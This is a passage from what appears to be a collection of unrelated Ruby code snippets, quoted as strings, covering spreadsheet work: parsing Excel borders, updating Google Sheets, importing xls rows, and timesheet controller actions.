end ## cell.Interior.Color == \n\t end ####rectsavecolor != cell.Interior.Color\n\t end ### cell.MergeCells\n\t rectwidthvalue += cell.Width ##色の幅\n columnpos += cell.Width\n end ##column\n end ##row\n @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor] if rectsavecolor != 0\n @wline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,widthvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone\n rowpos = 0.0\n columnpos = 0.0\n saverowpos = 0.0\n savecolumnpos = 0.0\n saveheight = 0 \n savecellrow = 0\n savecellcolumn = 0\n sheet.UsedRange.Columns.each do |column| ###縦の罫線\n heightvalue = 0.0\n rowpos = 0.0\n\t @hline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,heightvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0\n\t savestyle = column.Borders(ExcelConst::XlEdgeLeft).LineStyle\n\t saveweight = column.Borders(ExcelConst::XlEdgeLeft).Weight\n\t savecolor = column.Borders(ExcelConst::XlEdgeLeft).Color\n column.Rows.each do |cell|\n if savestyle != cell.Borders(ExcelConst::XlEdgeLeft).LineStyle or saveweight != cell.Borders(ExcelConst::XlEdgeLeft).Weight or savecolor != cell.Borders(ExcelConst::XlEdgeLeft).Color then \n\t if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0 then\n\t @hline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,heightvalue,savestyle,saveweight,savecolor]\n\t end ##if saveborder != ExcelConst::XlLineStyleNone\n\t heightvalue = 0.0\n\t if cell.Borders(ExcelConst::XlEdgeLeft).LineStyle == ExcelConst::XlLineStyleNone and saveweight == ExcelConst::XlThin and savecolor == 0 then\n\t saverowpos = 0.0\n\t\t savecolumnpos = 0.0\n\t\t else\n\t\t saverowpos = rowpos \n\t\t savecellcolumn = cell.column\n\t\t savecellrow = cell.row\n\t\t savecolumnpos = columnpos\n end ## if cell.Borders(ExcelConst::XlEdgeLeft).LineStyle == -4142 \n\t savestyle = cell.Borders(ExcelConst::XlEdgeLeft).LineStyle \n saveweight = cell.Borders(ExcelConst::XlEdgeLeft).Weight\n\t savecolor = cell.Borders(ExcelConst::XlEdgeLeft).Color\n\t end ##if saveboder != cell.Borders(ExcelConst::XlEdgeLeft).LineStyle then \n heightvalue += cell.Height\n\t rowpos += cell.Height\n end ##row\n\t @hline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,heightvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone\n columnpos += column.Width\n end ##column\n @prwanstr = \"### start ###\\n\"\n ##crt_prwan_pdf\n @subfields = plsql.__send__(@viewname).column_names\n chng_tblfield \n crt_prwan_org_pdf\n @prwanstr << \"##### /@sum = #{@sum} /###\\n\" \n strorderby = \"\"\n @sortkey.sort.each do |key,value|\n\t strorderby << value + \",\"\n end\n @prwanstr << \"##### /order by #{strorderby.chop} /#\\n\" if @sortkey.size>0\n @prwanstr << \"##### /pagekey = #{@pagekey} /#\\n\" if @pagekey.size>0\n ###crt_prwan_tst_pdf\t\t\n foo = File.open(\"#{Rails.root}/vendor/blk_pdf/#{@report_code}.rb\", \"w:UTF-8\") # 書き込みモード\n foo.puts @prwanstr\n foo.close\n\t\t\treplace_rep = {}\n\t\t\treplace_rep[:filename] = \"/vendor/blk_pdf/#{@report_code}.rb\"\n\t\t\treplace_rep[:where] = {:id=>report[:id]}\n\t\t\tplsql.reports.update replace_rep\n\t\t @text_data << \"<br><P>create pdf script #{@screencode}</p></br>\"\n end ##sheet\n @books.Close\t\t\n\t\trender :text => @text_data\n\t\trescue\n logger.debug\"class #{self} : LINE #{__LINE__} $@: #{$@} \" \n ##logger.debug\"class #{self} : LINE #{__LINE__} $!: #{$!} \"\n\t\t if @books\n\t\t\t @books.Close if respond_to?(\"@books.Close\")\n\t\t\tend\n\t\t\t@text_data << \"error check log \" \n\t\t\trender :text => @text_data and return\n\t\tend ##beigin\n end", "def raw_data_sheet\r\n @book.worksheet(WBF[:data_sheet])\r\n end", "def initialize(spreadsheetkey,user=nil,password=nil)\n @filename = spreadsheetkey\n @spreadsheetkey = spreadsheetkey\n @user = user\n @password = password\n unless user\n user = ENV['GOOGLE_MAIL']\n end\n unless password\n password = ENV['GOOGLE_PASSWORD']\n end\n @cell = Hash.new {|h,k| h[k]=Hash.new}\n @cell_type = Hash.new {|h,k| h[k]=Hash.new}\n @formula = Hash.new\n @first_row = Hash.new\n @last_row = Hash.new\n @first_column = Hash.new\n @last_column = Hash.new\n @cells_read = Hash.new\n @header_line = 1\n @date_format = '%d/%m/%Y'\n @datetime_format = '%d/%m/%Y %H:%M:%S' \n @time_format = '%H:%M:%S'\n @gs = GData::Spreadsheet.new(spreadsheetkey)\n @gs.authenticate(user, password) unless user.empty? || password.empty?\n @sheetlist = @gs.sheetlist\n @default_sheet = self.sheets.first\n end", "def readsheet(i,j,k)\n sheetloc='C:\\Ruby23\\bin\\rubyselenium_poc\\Amazon_TestData\\TestData.xls'\ndoc = Spreadsheet.open(sheetloc)\nsheet = doc.worksheet(i) # list number, first list is 0 and so on...\nval = sheet[j,k] # read particular cell from list 0, r for row, c for column \nreturn val\nend", "def loadtest2\n returned_authorisation = googleauthorisation(request)\n if returned_authorisation[\"authorizationurl\"]\n redirect_to returned_authorisation[\"authorizationurl\"] and return\n end\n service = returned_authorisation[\"service\"]\n#-----------------------------------------------------------------\n# Create a new spreadsheet -works and tested\n #request_body = Google::Apis::SheetsV4::Spreadsheet.new\n #response = service.create_spreadsheet(request_body)\n #ss = response\n #spreadsheet_id = ss.spreadsheet_id\n#-----------------------------------------------------------------\n\n\n#-----------------------------------------------------------------\n# Use an existing previously created spreadsheet\n# Only need the id to make use of this.\n spreadsheet_id = '1VHNfTl0Qxok1ZgBD2Rwby-dqxihgSspA0InqS5dTXNI'\n#-----------------------------------------------------------------\n sheet_name = \"Sheet1\"\n\n# ************ update spreadsheet title ************************\n# https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets/batchUpdate \n spreadsheet_title = \"Testing Updates from BIT Server\"\n request_body = Google::Apis::SheetsV4::BatchUpdateSpreadsheetRequest.new\n myussp = {\"properties\": {\"title\": spreadsheet_title}, \"fields\": \"*\" }\n request_body.requests = [{\"update_spreadsheet_properties\": myussp }]\n result = service.batch_update_spreadsheet(spreadsheet_id, request_body, {})\n\n\n\n\n# ************ delete all cells (rows) in a sheet ****************************\n# https://www.rubydoc.info/github/google/google-api-ruby-client/Google/Apis/SheetsV4/Request#delete_range-instance_method \n \tgridrange = {\n \t sheet_id: 0,\n \t start_row_index: 0,\n# \t end_row_index: 1,\n \t start_column_index: 0,\n# \t end_column_index: 2\n \t }\n requests = []\n requests.push(\n {\n delete_range:{\n range: gridrange,\n shift_dimension: \"ROWS\"\n }\n }\n )\n body = {requests: requests}\n result = service.batch_update_spreadsheet(spreadsheet_id, body, {})\n\n# ************ update values using update_spreadsheet_value ****************************\n# doco: https://www.rubydoc.info/github/google/google-api-ruby-client/Google%2FApis%2FSheetsV4%2FSheetsService%3Aupdate_spreadsheet_value \n range = \"#{sheet_name}!A1:B1\"\n request_body = Google::Apis::SheetsV4::ValueRange.new\n request_body.values = [[\"update_spreadsheet_value\",\"test data - this row will get a background colour\"]]\n request_body.major_dimension = \"ROWS\"\n result = service.update_spreadsheet_value(spreadsheet_id, range, request_body, \n {value_input_option: 'USER_ENTERED'})\n logger.debug \"update_spreadsheet_value completed\"\n\n# ************ update values using update_spreadsheet_value ****************************\n range = \"#{sheet_name}!A2:B3\"\n mydata = [\n {\n range: range,\n majorDimension: 'ROWS',\n values: [\n [\"spreadsheet_values_batchUpdate\", \"test data\"],\n [\"spreadsheet_values_batchUpdate\", \"third row\"]\n ]\n }\n ]\n request_body = Google::Apis::SheetsV4::BatchUpdateValuesRequest.new\n request_body.value_input_option = 'USER_ENTERED'\n request_body.data = mydata\n result = service.batch_update_values(spreadsheet_id, request_body, {})\n\n# ******** update background colours using batch_update_spreadsheet ********\n \tgridrange = {\n \t sheet_id: 0,\n \t start_row_index: 0,\n \t end_row_index: 1,\n \t start_column_index: 0,\n \t end_column_index: 2\n \t }\n requests = []\n requests.push(\n {\n repeat_cell: {\n \t range: gridrange,\n cell:\n {\n \t user_entered_format:\n \t {\n \t\t text_format: {bold: true},\n \t\t background_color:\n \t\t {\n \t\t\t red: 0.0,\n \t\t\t green: 1.0,\n \t\t\t blue: 0.0\n \t\t }\n \t }\n \t },\n fields: \"user_entered_format(background_color, text_format.bold)\"\n }\n }\n )\n body = {requests: requests}\n result = service.batch_update_spreadsheet(spreadsheet_id, body, {})\n\n# ******** autorezise columns using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/rowcolumn \n requests = []\n requests.push(\n {\n auto_resize_dimensions: {\n dimensions:\n {\n \t dimension: \"COLUMNS\",\n \t sheet_id: 0,\n end_index: 2,\n \t start_index: 0\n \t },\n }\n }\n )\n body = {requests: requests}\n result = service.batch_update_spreadsheet(spreadsheet_id, body, {})\n\n# ******** adjust columns width using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/rowcolumn \n requests = []\n requests.push(\n {\n update_dimension_properties: {\n range:\n {\n \t dimension: \"COLUMNS\",\n \t sheet_id: 0,\n end_index: 2,\n \t start_index: 0\n \t },\n \t properties: {\n \t pixel_size: 160\n \t },\n \t fields: \"pixelSize\"\n }\n }\n )\n body = {requests: requests}\n result = service.batch_update_spreadsheet(spreadsheet_id, body, {})\n\n end", "def create\n\n params[:timesheet].each do |key,value|\n Timesheet.create(:project_id => value[:project_id],:description => value[:description],:hours => value[:hours])\n end\n redirect_to \"/timesheets\",notice: \"Timesheet created successfully\" \n end", "def create_coaches_worksheets(coaches, workbook)\n coaches.each do |coach_name|\n coach_worksheet = workbook.add_worksheet(\"#{Y_M_DATE}_#{coach_name}_relevé\")\n end\nend", "def init()\n\n p \"=======================\"\n p \"Iniciando o script...\"\n\n #\n # First Step\n # => Open file\n ############################\n data = Roo::Spreadsheet.open('./data/exemplo-curto.xlsx')\n p \"Abrindo o arquivo\"\n persons = organize_data(data)\n # validation\n # => verify if a valid email\n ############################\n #p \"validando os emails...\"\n #emails = validate_emails(data)\n #valid_emails = emails['validos']\n #invalid_emails = emails['invalidos']\n\n\n p \"OK\"\n #export_to_csv(\"emails_validos\", valid_emails)\n #export_to_xlsx(\"emails_validos\", valid_emails)\n #export_to_csv(\"emails_invalidos\", invalid_emails)\n #export_to_xlsx(\"emails_invalidos\", invalid_emails)\n #\n # Second Step\n # => organize for atributes\n # 1. UF\n # 2. DT_NASCIMENTO\n # 3. IF\n # 4. ESCOLARIDADE\n ##########################\n uf_mails = organize_to_uf (persons)\n uf_mails.each do | key, est |\n if est.length == 0 then\n p \"vazio #{key} \"\n else\n export_to_csv(key, est)\n export_to_xlsx(key, est)\n end\n\n end\n\n dt_nascimento_mails = organize_to_dt_nasc(persons)\n dt_nascimento_mails.each do | key, value |\n if value.length == 0 then\n p \"empty: #{key} \"\n else\n export_to_csv(key, value)\n export_to_xlsx(key, value)\n end\n\n end\n\n if_mails = organize_to_if (persons)\n if_mails.each do | key, value |\n if value.length == 0 then\n p \"empty: #{key} \"\n else\n export_to_csv(key, value)\n export_to_xlsx(key, value)\n end\n end\n\n escolaridade_mails = organize_to_escolaridade (persons)\n escolaridade_mails.each do | key, value |\n if value.length == 0 then\n p \"empty: #{key} \"\n else\n export_to_csv(key, value)\n export_to_xlsx(key, value)\n end\n end\n #\n # Third Step\n # => Export to xlsx\n ##########################\n p \"exportando arquivo\"\n #export_table(valid_emails)\n p \"Ok\"\n p \"FINALIZANDO\"\n\n end", "def Write(status,madulename,path,linkName,resultxlPath)\n\tbegin\n\t\t\t@x = \"\\\"#{path}\\\"\"\n\t\t\t@y = \"\\\"#{linkName}\\\"\"\n\t\t\t$resultExcelPath = \"#{resultxlPath}\" + \"/\" + \"#{$current_feature}\" + \"-\" +\"#{$deviceID}\"+ \"-\" + $deviceType.to_s + \".xlsx\"\n\t\t\t@mName = \"#{madulename.to_s.strip}\"\n\t\t\t@workbook = RubyXL::Parser.parse($resultExcelPath)\n\t\t\t@moduleSheet2 = @workbook[madulename.to_s.strip]\n\t\t\t @rowCount = @moduleSheet2.sheet_data.size\n\t\t\t\tk=0\n\t\t\t\t\tif $completeScenario.include? \",\"\n\n\t\t\t\t\t\t\t@tcArray = $completeScenario.split(\",\")\n\t\t\t\t\t\t\t@tcCount = @tcArray.length\n\t\t\t\t\t\tfor tc in 0..@tcCount.to_i-1\n\t\t\t\t\t\t\t$tcid = @tcArray[tc]\n\t\t\t\t\t\t\tfor k in 1..@rowCount.to_i-1\t\t\n\t\t\t\t\t\t\t\tif @moduleSheet2[k][0]\n\t\t\t\t\t\t\t\t\t\t\t\t\t@CellValue = @moduleSheet2[k][1].value\n\t\t\t\t\t\t\t\t\t\t\t\t\tif @CellValue.strip == $tcid.strip\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 3, status)\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif status== 'Pass'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('0ba53d')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('a50b26')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 4,'',\"HYPERLINK(#{@x}, #{@y})\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:top, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:bottom, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:left, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:right, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_font_color(font_color = '277BD5')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@workbook.write($resultExcelPath)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\tfor k in 1..@rowCount\n\t\t\t\t\t\t\t\t@CellValue = @moduleSheet2[k][1].value\n\t\t\t\t\t\t\tif @CellValue.strip == $completeScenario.strip\n\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 3, status)\n\t\t\t\t\t\t\t\t\tif status== 'Pass'\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('0ba53d')\n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('a50b26')\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 4,'',\"HYPERLINK(#{@x}, #{@y})\")\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:top, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:bottom, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:left, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:right, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_font_color(font_color = '277BD5')\n\t\t\t\t\t\t\t\t\t\t@workbook.write($resultExcelPath)\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\n\n\t\t\t\t\t\tend\n\n\n\n\n\t\t\t\t\tend\n\trescue => err\n\traise(\"Excel operations fail: '#{err}'\")\n \n\tend\t \n\t\t\t\t\t\nend", "def setup_workbook(workbook)\n \n sheet = workbook.add_worksheet :name => 'lists', :state => :very_hidden\n alphabet = ('A'..'ZZZ').to_a\n\n # Modes \n modes = FtaModeType.active\n @modes_end_column = alphabet[modes.count]\n sheet.add_row make_row(modes)\n\n # Service Types \n service_types = FtaServiceType.active\n @service_types_end_column = alphabet[service_types.count]\n sheet.add_row make_row(service_types)\n\n # Guideway Elements\n fta_types = FtaTrackType.active.sorted + FtaGuidewayType.active + FtaPowerSignalType.active + [\"Total Track Miles Under Performance Restriction\"]\n @fta_types_end_column = alphabet[fta_types.count]\n sheet.add_row make_row(fta_types)\n\n # Allocation Unit(Row 4)\n allocation_units = ['TM', '%', 'Quantity']\n @allocation_units_end_column = alphabet[allocation_units.count]\n sheet.add_row make_row(allocation_units)\n end", "def str1_upload_xls\n @title=\"Import Users\"\n Spreadsheet.client_encoding='UTF-8'\n if params[:file].present?\n book=Spreadsheet.open params[:file].tempfile\n sheet1=book.worksheet 0\n sheet1.each 1 do |row|\n @store = Businessnew.new(:address=>row[3], :category=>row[10], :city=>row[4], :id=>row[0],\n :latitude=>row[9], :longitude=>row[8], :name=>row[1], :phone=>row[7],\n :postal_code=>row[6].split(\" \").join(''), :state=>row[5], :url=>row[2])\n if @store.present?\n @store.save\n end\n end\n end\n redirect_to '/'\n end", "def create_workbook\n @p.use_autowidth = true\n w = @p.workbook\n w.use_autowidth\n ws = ''\n w.styles do |s|\n blue_cell = s.add_style(\n :bg_color => \"B0C4DE\", \n :fg_color => \"00\", :sz => 11, \n :alignment =>{:horixontal => :center}, \n :font_name => 'Calibri', \n :border => Axlsx::STYLE_THIN_BORDER\n )\n #I want to modify the header so it prints better, but I don't want to modify the original array\n wh = @excel_row.map do |e| e.dup end\n w.add_worksheet(:name => \"Pacbio Read Stats\") do |sheet|\n sheet.add_row wh, :style => blue_cell\n ws = sheet\n end\n \n end\n ws\nend", "def create\n @time_sheet = TimeSheet.new(time_sheet_params)\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully created.' }\n format.json { render :show, status: :created, location: @time_sheet }\n else\n format.html { render :new }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_cells\n sheet.row_ids.each {|i| cell_for_row(i) }\n end", "def update_spreadsheet\n\t\tconnection = GoogleDrive.login(ENV[\"GMAIL_USERNAME\"], ENV[\"GMAIL_PASSWORD\"])\n\t\tss = connection.spreadsheet_by_title('Learn-Rails-Example')\n\t\tif ss.nil?\n\t\t\tss = connection.create_spreadsheet('Learn-Rails-Example')\n\t\tend\n\t\tws = ss.worksheets[0]\n\t\tlast_empty_row = 1 + ws.num_rows\n\t\tws[last_empty_row, 1] = Time.new\n\t\tws[last_empty_row, 2] = self.name\n\t\tws[last_empty_row, 3] = self.email\n\t\tws[last_empty_row, 4] = self.content\n\t\tws.save\n\tend", "def write_xls(historical)\n\n # TODO mover a filtro_to_s o algo asi para usar en todos lados\n name = \"Dusttrak\"\n name << \" #{params[:grd_id]}\" if params[:grd_id].present?\n name << \" #{DateTime.parse(params[:desde]).strftime(\"%Y-%m-%d 00:00:00\")}\" if params[:desde].present?\n name << \" - #{DateTime.parse(params[:hasta]).strftime(\"%Y-%m-%d 23:59:59\")}\" if params[:hasta].present?\n\n file = \"public/files/#{Time.now} - #{name}.xls\"\n\n begin\n archive = WriteExcel.new(file)\n sheet = archive.add_worksheet\n\n sheet.write(0, 0, \"Siafa\")\n sheet.write(1, 0, \"Dusttrak\")\n\n sheet.write(3, 0, \"Filtro: #{name}\")\n\n header = historical[0].attributes.keys\n sheet.write(4, 0, header)\n\n matriz = historical.collect { |row| row.attributes.values }\n sheet.write(5, 0, matriz.transpose)\n\n archive.close\n rescue\n return false\n end\n\n # Devolver el nombre de archivo\n file\n\n end", "def outputBookFromBiotoolsExcel(inputFile,numrows=0)\n converter=BioToolsExcelConverter.new(inputFile)\n rows=converter.get_rows\n \n # Create a new workbook from scratch for writing\n outputBook = Spreadsheet::Workbook.new\n outputSheet = outputBook.create_worksheet\n\n rows.reverse!\n\n rows.each { |row| \n outputSheet.insert_row(0,row)\n }\n \n outputBook\n \n \n end", "def write_from_scratch workbook, io\n sanitize_worksheets workbook.worksheets\n collect_formats workbook\n sheets = worksheets workbook\n buffer1 = StringIO.new ''.dup\n # ● BOF Type = workbook globals (➜ 6.8)\n write_bof workbook, buffer1, :globals\n # ○ File Protection Block ➜ 4.19\n # ○ WRITEACCESS User name (BIFF3-BIFF8, ➜ 5.112)\n # ○ FILESHARING File sharing options (BIFF3-BIFF8, ➜ 5.44)\n # ○ CODEPAGE ➜ 6.17\n write_encoding workbook, buffer1\n # ○ DSF ➜ 6.32\n write_dsf workbook, buffer1\n # ○ TABID\n write_tabid workbook, buffer1\n # ○ FNGROUPCOUNT\n # ○ Workbook Protection Block ➜ 4.18\n # ○ WINDOWPROTECT Window settings: 1 = protected (➜ 5.111)\n # ○ PROTECT Cell contents: 1 = protected (➜ 5.82)\n write_protect workbook, buffer1\n # ○ OBJECTPROTECT Embedded objects: 1 = protected (➜ 5.72)\n # ○ PASSWORD Hash value of the password; 0 = No password (➜ 5.76)\n write_password workbook, buffer1\n # ○ BACKUP ➜ 5.5\n # ○ HIDEOBJ ➜ 5.56\n # ● WINDOW1 ➜ 5.109\n write_window1 workbook, buffer1\n # ○ DATEMODE ➜ 5.28\n write_datemode workbook, buffer1\n # ○ PRECISION ➜ 5.79\n write_precision workbook, buffer1\n # ○ REFRESHALL\n write_refreshall workbook, buffer1\n # ○ BOOKBOOL ➜ 5.9\n write_bookbool workbook, buffer1\n # ●● FONT ➜ 5.45\n write_fonts workbook, buffer1\n # ○○ FORMAT ➜ 5.49\n write_formats workbook, buffer1\n # ●● XF ➜ 5.115\n write_xfs workbook, buffer1\n # ●● STYLE ➜ 5.103\n write_styles workbook, buffer1\n # ○ PALETTE ➜ 5.74\n write_palette workbook, buffer1\n # ○ USESELFS ➜ 5.106\n buffer1.rewind\n # ●● BOUNDSHEET ➜ 5.95\n buffer2 = StringIO.new ''.dup\n # ○ COUNTRY ➜ 5.22\n # ○ Link Table ➜ 4.10.3\n # ○○ NAME ➜ 6.66\n # ○ Shared String Table ➜ 4.11\n # ● SST ➜ 5.100\n # ● EXTSST ➜ 5.42\n write_sst workbook, buffer2, buffer1.size\n # ● EOF ➜ 5.37\n write_eof workbook, buffer2\n buffer2.rewind\n # worksheet data can only be assembled after write_sst\n sheets.each do |worksheet| worksheet.write_from_scratch end\n Ole::Storage.open io do |ole|\n ole.file.open 'Workbook', 'w' do |writer|\n writer.write buffer1.read\n write_boundsheets workbook, writer, buffer1.size + buffer2.size\n writer.write buffer2.read\n sheets.each do |worksheet|\n writer.write worksheet.data\n end\n end\n end\n end", "def write_workbook\n s = @p.to_stream()\n puts Dir.pwd\n File.open('pacbio_reads_stats.xlsx', 'w'){|f| f.write(s.read)}\nend", "def generate_test_from_google_xls spreadsheet, sl_no\n\n\ttheEmail = get_email()\n\tthePassword = get_password()\n\n\tsession = GoogleDrive.login(theEmail, thePassword)\n\tws = session.spreadsheet_by_key(\"#{spreadsheet}\").worksheets[sl_no.to_i]\n\n\t# Check the structure of xls sheet\n\tif ws[1,5] != \"Case Description\" # Case Description\n\t\tputs \"Provide your Case Description column name properly\"\n\t\texit\n\telsif ws[1,7] != \"Procedure\" # Procedure\n\t\tputs \"Provide your Procedure column name properly\"\n\t\texit\n\telsif ws[1,8] != \"Expected Results\" # Expected Results\n\t\tputs \"Provide your Expected Results column name properly\"\n\t\texit\n\telsif ws[1,9] != \"Notes\" # Notes\n\t\tputs \"Provide your Notes column name properly\"\n\t\texit\n\tend\n\n\tFile.open($path_to_spec, 'w') do |f|\n\t\t#Start Describe\n \tf.puts \"describe('#{ws.title} Functionality Test', function() {\"\n\tend\n\t# Dumps all cells.\n\tfor row in 2..ws.num_rows\n\t\ttest_casedescription = (ws[row,5].gsub(\"\\n\", \"<br/>\")).gsub(\"'\", %q(\\\\\\'))\n\t\ttest_procedure = (ws[row,7].gsub(\"\\n\", \"<br/>\")).gsub(\"'\", %q(\\\\\\'))\n\t\ttest_expected = (ws[row,8].gsub(\"\\n\", \"<br/>\")).gsub(\"'\", %q(\\\\\\'))\n\t\t\n\t\tFile.open($path_to_spec, 'a') do |f|\n\t\t\t#Start it\n\t\t\tf.puts \"it('#{test_casedescription}',function(){\"\n\t\t\tf.puts \"dispTestCaseRunning('#{test_procedure}');\"\n\t\t\tf.puts \"dispExpectedResult('#{test_expected}');\"\n\t\t\tf.puts \"//Common Method implemented to wait for tester to run the test.Code available in specHelper.js\"\n\t\t\tf.puts \"_result.waitToRunTest();\"\n\t\t\tf.puts \"runs(function(){\"\n\t\t\tf.puts \"// Write your code here.\"\n\t\t\tf.puts \"});\"\n\t\t\tf.puts \"//Add more waitsfor or run blocks if required.\"\n\t\t\tf.puts \"//Common Method implemented to wait for tester to make it pass or fail.Code available in specHelper.js\"\n\t\t\tf.puts \"_result.waitForResponse();\"\n\t\t\tf.puts \"});\"\n\t\tend\n\n\tend\n\tFile.open($path_to_spec, 'a') do |f|\n\t\t#End Describe\n\t\tf.puts \"});\"\n\tend\n\nend", "def create\n @time_sheet = TimeSheet.new(params[:time_sheet])\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully created.' }\n format.json { render json: @time_sheet, status: :created, location: @time_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def performance_xls\n plate = Plate.find(params['id'])\n path = plate.get_performance_xls\n send_file(path, :type => \"application/vnd.ms-excel\")\n end", "def out2sheet(fnarg_h={})\n\n if ( (!fnarg_h['dataset'].is_a?(Array)) and (!fnarg_h['dataset'].is_a?(Hash)) )\n Logger.msg(\"Err\",\"out2sheet: Given dataset is neither Array nor hash\",fnarg_h['dataset'].class)\n return false\n end\n\n if (!fnarg_h['ws'].is_a?(WIN32OLE))\n Logger.msg(\"Err\",\"out2sheet: worksheet reference is not WIN32OLE\",fnarg_h['ws'])\n return false\n end\n\n ws=fnarg_h['ws']\n dataset=fnarg_h['dataset']\n r1 = ( (fnarg_h['r1'].is_a?(Integer)) and (fnarg_h['r1']>0) ) ? fnarg_h['r1'] : 1\n c1= ( (fnarg_h['c1'].is_a?(Integer)) and (fnarg_h['c1']>0) ) ? fnarg_h['c1'] : 1\n hdlist=fnarg_h['hdlist']\n hdfmt=fnarg_h['hdfmt']\n append=(fnarg_h['append']==nil) ? true : fnarg_h['append']\n\n begin\n if (append==true)\n urange = ws.UsedRange\n nor = urange.rows.count\n noc = urange.columns.count\n rindex = ( ( nor ==1 ) and (noc==1) ) ? 1 : nor+1\n rindex = r1 if ( rindex<r1 ) ## In append if starting row is given and is higher than current last row, then use that.\n else\n ws.UsedRange.delete\n rindex = r1\n end # if append\n if ( dataset.is_a?(Array) ) ## Assume dataset is array of array.\n nor= dataset.length\n noc=(dataset[0].length <1 ) ? 1 : dataset[0].length\n begin\n ws.Range(ws.cells(rindex,c1),ws.cells(rindex+nor-1,c1+noc-1)).value=dataset\n rescue\n #There are some issue in writting very big chunk of data, in that case , I write row by row.\n dataset.each { |arr|\n arr.each_with_index { |v, ind| ws.Cells(rindex,c1+ind).value = v }\n } #each arr\n rindex += 1\n end #rescue\n elsif ( dataset.is_a?(Hash) )\n nor = dataset.keys.length\n noc = 2\n d_aofa = dataset.select { |key,val| true }\n d_aofa.collect! { |arr| [arr[0],sprintf(\"#{hdfmt['value']}\",arr[1])] } if (hdfmt['value'].is_a?(String))\n d_aofa=d_aofa.unshift(['Description','Value'])\n ws.Range(ws.cells(rindex,c1),ws.cells(rindex+nor-1,c1+noc-1)).value=d_aofa\n end # dataset is Hash\n rescue\n Logger.msg(\"Err\", \"out2sheet: #{ws} writing to excel sheet error #{$!}\")\n return false\n end\n return true\nend", "def export_my_absence\n workbook = Spreadsheet::Workbook.new\n data_sheet = workbook.create_worksheet :name => \"absensi harian #{@current_person.full_name}\"\n format = Spreadsheet::Format.new :weight => :bold\n data_sheet.row(0).default_format = format\n data_sheet.row(0).replace ['Jam Masuk','Jam Keluar','Lama Kerja']\n data_sheet = set_data_export_my_absence(data_sheet)\n spreadsheet = StringIO.new\n workbook.write spreadsheet\n send_data spreadsheet.string, :filename => \"absent_harian_#{@current_person.full_name}.xls\", :type => \"application/vnd.ms-excel\"\n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to timesheets_url, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: @timesheet }\n else\n format.html { redirect_to timesheets_url }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n 